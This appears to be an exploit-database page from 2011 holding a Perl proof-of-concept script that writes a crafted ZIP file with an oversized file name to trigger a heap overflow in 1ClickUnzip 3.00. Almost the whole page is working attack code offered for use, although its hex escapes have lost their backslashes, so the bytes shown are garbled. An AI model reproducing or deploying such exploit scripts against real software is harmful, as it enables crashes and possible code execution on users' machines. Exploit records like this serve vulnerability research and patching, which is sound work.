Home / exploits 1ClickUnzip 3.00 Heap Overflow
Posted on 07 June 2011
#!/usr/bin/perl # #[+]Exploit Title: 1ClickUnzip 3.00 .ZIP File Heap Overflow Vulnerability #[+]Date: 05 62011 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://www.softpedia.com/progDownload/1-Click-Unzip-Download-77210.html #[+]Version: 3.0.0 #[+]Tested On: WIN-XP SP3 Brazilian Portuguese #[+]CVE: N/A # # use strict; use warnings; my $filename = "Exploit.zip"; print " 1ClickUnzip 3.0.0 .ZIP File Heap Overflow "; print " Created by C4SS!0 G0M3S "; print " E-mail Louredo_@hotmail.com "; print " Site www.exploit-br.org/ "; sleep(1); my $head = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" . "x00x00x00"; my $head2 = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $head3 = "x50x4Bx05x06x00x00x00". "x00x01x00x01x00". "x12x10x00x00". "x02x10x00x00". "x00x00"; my $payload = "x41" x 4064; $payload = $payload.".txt"; my $zip = $head.$payload.$head2.$payload.$head3; open(FILE,">$filename") || die "[-]Error: $! "; print FILE $zip; close(FILE); print "[+] ZIP File Created With Sucess:) "; sleep(3);
